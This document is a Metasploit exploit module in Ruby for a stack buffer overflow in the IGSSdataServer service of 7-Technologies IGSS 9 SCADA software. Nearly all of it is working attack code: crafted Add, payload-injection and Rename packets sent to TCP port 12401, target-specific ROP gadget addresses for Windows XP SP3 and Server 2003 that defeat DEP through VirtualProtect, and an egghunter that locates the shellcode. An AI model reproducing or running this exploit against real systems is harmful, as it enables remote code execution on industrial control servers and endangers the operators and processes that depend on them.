7-Technologies IGSS 9 IGSSdataServer .RMS Rename Buffer Overflow

`##  
# $Id: igss9_igssdataserver_rename.rb 12886 2011-06-09 06:04:04Z sinn3r $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Egghunter  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "7-Technologies IGSS 9 IGSSdataServer .RMS Rename Buffer Overflow",  
'Description' => %q{  
This module exploits a vulnerability found on 7-Technologies IGSS 9. By supplying  
a long string of data to the 'Rename' (0x02), 'Delete' (0x03), or 'Add' (0x04) command,  
a buffer overflow condition occurs in IGSSdataServer.exe while handing an RMS report,  
which results arbitrary code execution under the context of the user.  
  
The attack is carried out in three stages. The first stage sends the final payload to  
IGSSdataServer.exe, which will remain in memory. The second stage sends the Add command  
so the process can find a valid ID for the Rename command. The last stage then triggers  
the vulnerability with the Rename command, and uses an egghunter to search for the  
shellcode that we sent in stage 1. The use of egghunter appears to be necessary due to  
the small buffer size, which cannot even contain our ROP chain and the final payload.  
},  
'License' => MSF_LICENSE,  
'Version' => "$Revision: 12886 $",  
'Author' =>  
[  
'Luigi Auriemma <aluigi[at]autistici.org>', #Initial discovery, poc  
'sinn3r', #Metasploit  
],  
'References' =>  
[  
['URL', 'http://aluigi.altervista.org/adv/igss_5-adv.txt'],  
],  
'Payload' =>  
{  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "seh",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[  
'Windows XP SP3',  
{  
'Ret' => 0x1B0938B8, #ADD ESP,910; RETN 10 MSJET40.dll  
'RopOffset' => 68, #Offset to the ROP chain  
'Offset' => 500, #Offset to SE Handler (stack pivot)  
'Max' => 8000, #Max buffer size  
}  
],  
[  
'Windows Server 2003 SP2/R2 SP2',  
{  
'Ret' => 0x1B093622, #ADD ESP,910; RETN 10 MSJET40.dll  
'RopOffset' => 76, #Offset to the ROP chain  
'Offset' => 500, #Offset to SE Handler (stack pivot)  
'Max' => 8000, #Max buffer size  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => "Mar 24 2011"))  
  
register_options(  
[  
Opt::RPORT(12401, false),  
]  
)  
end  
  
#We need to send the Add command first, so that IGSSdataServer.exe can find the 'ID' before  
#triggering the vulnerable code path we're trying to hit. Without this, we'll just hit  
#"FAILED renameDicRec. ID not found %s" (logText function).  
def add_template(id)  
buf = ''  
buf << "\x9b\x00" #Packet size  
buf << "\x01\x00\x34\x12"  
buf << "\x07" #Opcode  
buf << "\x00\x00\x00\x00\x00\x00\x00"  
buf << "\x01" #Flag  
buf << "\x00\x00\x00"  
buf << "\x04" #Command (add)  
buf << "\x00\x00\x00"  
buf << id  
buf << "\x00"  
buf << "\x00"*31  
buf << "\x78"  
buf << "\x00"*63  
buf << "\x78"  
buf << "\x00"*28  
  
connect  
  
sock.put(buf)  
  
print_status("Sending ADD command to #{datastore['RHOST']}")  
res = sock.recv(1024)  
  
disconnect  
  
return res  
end  
  
#Since we don't have a lot of space on the stack when we trigger the overflow, we send a  
#separate packet that contains our final payload, and let egghunter look for it later in memory  
def inject_payload(my_payload)  
  
buf = ''  
buf << "\x01\x00\x34\x12"  
buf << "\x0D" #Opcode  
buf << "\x00\x00\x00\x00\x00\x00\x00"  
buf << "\x01" #Flag  
buf << "\x00\x00\x00"  
buf << "\x01" #Command (ListAll)  
buf << "\x00\x00\x00"  
buf << my_payload  
buf << Rex::Text.rand_text_alpha(1024-my_payload.length)  
buf << "\x00"*130  
  
#Packet size  
buf_size = [buf.length + 2].pack('v')  
buf = buf_size + buf  
  
connect  
  
sock.put(buf)  
print_status("Injecting payload in memory to #{datastore['RHOST']}")  
  
disconnect  
end  
  
#It's definitely junk  
def junk  
return rand_text(4).unpack("L")[0].to_i  
end  
  
def sploit_rename(id)  
#Egghunter is used because we don't really have a lot of space on the stack  
#to fit the ROP chain and a larger payload  
eggoptions =  
{  
:checksum => true,  
:eggtag => 'W00T',  
:depmethod => 'virtualprotect',  
:depreg => 'esi'  
}  
  
hunter, p = generate_egghunter(payload.encoded, payload_badchars, eggoptions)  
  
#depreg (Put VirtualProtect in ESI)  
esi = "\x81\xf6\x16\x1b\x5f\x5e" #XOR ESI, 0x5E5F1B16  
esi << "\x3e\x8b\x36" #MOV ESI, DWORD PTR DS:[ESI]  
  
#Put depreg alignment  
hunter = esi + hunter  
  
#Send final payload first, and let egghunter look for it  
inject_payload(p)  
  
#Max ROP chain size we can use is 406 bytes  
rop = [  
:xchg_esp_ebp,  
#0x59ABA24B, #PUSH ESP # POP EBP # RETN [dbghelp.dll]  
junk,  
junk,  
junk,  
junk,  
0x1B76A59E, #XCHG EAX,EBP # RETN [dao360.dll]  
0x1B8260DD, #ADD EAX,20 # RETN [msjtes40.dll]  
:add_eax_100,  
#0x1B09FA13, #ADD EAX,100 # RETN 0C [MSJET40.DLL]  
  
#VirtualProtect Argument ([0x540214])  
:xchg_eax_ecx,  
junk,  
junk,  
junk,  
:pop_eax,  
0x3BABFD6D, #0x3BABFD6D xor 0x3BFFFF79  
0x1B7802A3, #XOR EAX,3BFFFF79 # RETN [dao360.dll]  
0x1b73f3bd, #MOV EAX,DWORD PTR DS:[EAX] # RETN [dao360.dll]  
:xchg_eax_ecx,  
0x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]  
0x1B74C50A, #ADD EAX,4 # RETN [dao360.dll]  
  
#Retn:  
:xchg_eax_esi,  
#0x1B0505C1, #PUSH EAX # POP ESI # RETN 4 [MSJET40.DLL]  
0x1B8260DD, #ADD EAX,20 # RETN [Module : msjtes40.dll]  
junk,  
0x1B8260DD, #ADD EAX,20 # RETN [msjtes40.dll]  
0x1B8260DD, #ADD EAX,20 # RETN [msjtes40.dll]  
0x1B8260DD, #ADD EAX,20 # RETN [msjtes40.dll]  
:xchg_eax_ecx,  
:mov_eax_esi_pop_esi,  
#0x1B03AD44, #MOV EAX,ESI # POP ESI # RETN [MSJET40.DLL]  
0x5E0B1902, #:depreg initial value to xor  
0x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]  
0x1B74C50A, #ADD EAX,4 # RETN [dao360.dll]  
  
#Shellcode:  
0x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]  
0x1B74C50A, #ADD EAX,4 # RETN [dao360.dll]  
  
#Size (100 bytes -- enough for egghunter)  
:xchg_eax_ecx,  
:pop_eax,  
:size_xor,  
0x1B7802A3, #XOR EAX,3BFFFF79 # RETN [dao360.dll]  
:xchg_eax_ecx,  
0x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]  
0x1B74C50A, #ADD EAX,4 # RETN [dao360.dll]  
  
#newProtect (0x40):  
:xchg_eax_ecx,  
:pop_eax,  
0x3BFFFF39, #0x3BFFFF39 xor 0x3BFFFF79  
0x1B7802A3, #XOR EAX,3BFFFF79 # RETN [dao360.dll]  
:xchg_eax_ecx,  
0x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]  
0x1B74C50A, #ADD EAX,4 # RETN [dao360.dll]  
  
#oldProtect  
0x1B731395, #POP ECX # RETN [dao360.dll]  
0x1B82B410, #.data section (WR) in msjtes40.dll  
0x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]  
  
#Align the rewind part  
0x1B829E86, # ADD EAX,0C # RETN [msjtes40.dll]  
  
#Rewind  
:rewind,  
  
#Execute  
0x1B72A833, #XCHG EAX,ESP # RETN [dao360.dll]  
]  
  
#OS specific gadgets  
rop.map! do |gadget|  
if gadget == :xchg_esp_ebp  
(target.name =~ /xp/i) ? 0x59ABA24B : 0x6D5E2223  
elsif gadget == :add_eax_100  
(target.name =~ /xp/i) ? 0x1B09FA13 : 0x1B09F6F3  
elsif gadget == :xchg_eax_esi  
(target.name =~ /xp/i) ? 0x1B0505C1 : 0x1B051B71  
elsif gadget == :xchg_eax_ecx  
(target.name =~ /xp/i) ? 0x1B02708C : 0x1B02B28D  
elsif gadget == :mov_eax_esi_pop_esi  
(target.name =~ /xp/i) ? 0x1B03AD44 : 0x1B110735  
elsif gadget == :pop_eax  
(target.name =~ /xp/i) ? 0x1B0C65B6 : 0x1B0c6169  
elsif gadget == :size_xor  
(target.name =~ /xp/i) ? 0x3BFFFF01 : 0x3BFFFF1D  
elsif gadget == :rewind  
(target.name =~ /xp/i) ? 0x1B03D70A : 0x1B03C741  
else  
gadget  
end  
end  
  
rop = rop.pack('V*')  
  
sploit = ''  
sploit << Rex::Text.rand_text_alpha(target['RopOffset'])  
sploit << rop  
sploit << Rex::Text.rand_text_alpha(target['Offset']-sploit.length)  
sploit << [target.ret].pack('V') #Pivot  
sploit << make_nops(12) #Padding  
sploit << hunter  
sploit << Rex::Text.rand_text_alpha(target['Max']-sploit.length)  
  
#Create the packet with our naughty payload  
pkt = "\x00\x04" #Funky size causes overflow  
pkt << "\x01\x00\x34\x12"  
pkt << "\x07" #Opcode  
pkt << "\x00\x00\x00\x00\x00\x00\x00"  
pkt << "\x02" #Flag  
pkt << "\x00\x00\x00"  
pkt << "\x02" #Command  
pkt << "\x00\x00\x00"  
pkt << id  
pkt << "\x00"  
pkt << sploit  
  
connect  
  
print_status("Sending malicious request to #{datastore['RHOST']}")  
sock.put(pkt)  
  
handler  
  
#egghunter takes a few seconds, wait a bit before disconnect  
select(nil, nil, nil, 3)  
disconnect  
end  
  
def exploit  
id = Rex::Text.rand_text_alpha(8)  
  
res = add_template(id)  
if res !~ /Report/i  
print_error("Failed to add template:#{res}")  
return  
end  
  
sploit_rename(id)  
end  
end  
`